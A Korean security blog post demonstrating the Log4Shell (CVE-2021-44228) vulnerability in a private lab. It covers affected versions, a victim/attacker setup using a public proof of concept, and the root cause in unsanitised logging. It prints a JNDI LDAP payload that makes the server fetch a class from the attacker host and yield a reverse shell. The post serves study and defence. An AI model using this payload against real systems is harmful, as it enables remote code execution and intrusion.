Log4j 취약점 분석 #1 개요
2021년 말 역사상 최악의 보안 취약점이 발견되었다. 해당 취약점은 단 한 줄의 명령으로 익스플로있이 가능하며, CVE-2021-44228로 명명 및 CVSS 10점을 부여받았다. 대부분의 기업 및 기관이 Log4j를 사
ggonmerr.tistory.com
Log4j 취약점 분석 #3 대응
Log4j 취약점 분석 #1 개요 2021년 말 역사상 최악의 보안 취약점이 발견되었다. 해당 취약점은 단 한 줄의 명령으로 익스플로있이 가능하며, CVE-2021-44228로 명명 및 CVSS 10점을 부여받았다. 대부분의
ggonmerr.tistory.com
1. Log4j 동작 조건 및 영향 받는 버전
먼저 해당 취약점이 동작하기 위해서는 몇가지 조건이 있는데, 다음과 같다.
- log4j 버전이 2.0에서 2.14.1 사이 - JRE / JDK 버전이 특정 버전(6u221, 7u201, 8u191, 11.0.1)보다 이전 버전
2. 취약점 시연
아래 Github를 참고해 진행하였다.
GitHub - kozmer/log4j-shell-poc: A Proof-Of-Concept for the CVE-2021-44228 vulnerability.
A Proof-Of-Concept for the CVE-2021-44228 vulnerability. - GitHub - kozmer/log4j-shell-poc: A Proof-Of-Concept for the CVE-2021-44228 vulnerability.
github.com
2-1) 피해자 환경
Ubuntu 20.04 IP : 192.168.56.107
명령어
[캡쳐 1] 수행 명렁
해당 명령을 순차적으로 실행한 후 localhost:8080으로 접속이 가능하다.
* docker 설치 및 명령줄을 수행하였으나 error가 발생하였고, sudo 명령을 추가하여 설치와 명령을 수행(해당 부분 이유 확인 필요).
[캡쳐 2] 웹 사이트 화면
2-2) 공격자 환경
Kali Linux IP : 192.168.56.102 LDAP Port : 1389 Web Port : 8000 nc Port : 9001
명령어
[캡쳐 3] 수행 명령
JDK 1.8 버전을 다운받아 해당 폴더에 위치시켜야 하며, 이름은 JDK_1.8.0_20 이어야한다.
* https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html 에서 8u20 부분을 찾아 다운로드
[캡쳐 4] JDK 다운&압축해제
이후 리버스 쉘 생성과 poc를 실행한다.
[캡쳐 5] 리버스 쉘 생성 및 poc 실행
이후 공격자는 취약합 웹서버에 jndi ldap 쿼리를 이용하여 공격을 수행한다.
[캡쳐 6] ${jndi:ldap://192.168.56.102:1389/a}
공격자 화면을 통해 확인하면
1. 취약한 웹서버로 부터 8000포트로 LDAP 쿼리를 수신해 Exploit.class를 반환 했으며
2. nc로 리스닝 중이던 9001포트로 리버스 쉘이 생성된 상황이다.
* 패킷 분석을 위해 와이어샤크를 사용하였으나, 해당 부분은 좀 더 공부가 필요할 것으로 보인다(추후 취약점 분석 때 사용 가능하도록).
[캡쳐 7] 공격자의 쉘 획득
2-3) 흐름도
위의 일련의 과정을 흐름도로 나타내면 다음과 같다.
[캡쳐 8] 흐름도
3. 취약점 원리
[캡쳐 9] 취약한 웹서버의 소스코드
[캡쳐 9]는 취약한 웹서버 소스코드의 일부이며 33번 Line에서 userName(계정정보_[캡쳐 6]을 수행한 이유)을 그대로
log로 작성하기 때문에 취약점이 발생 가능 한 것이다.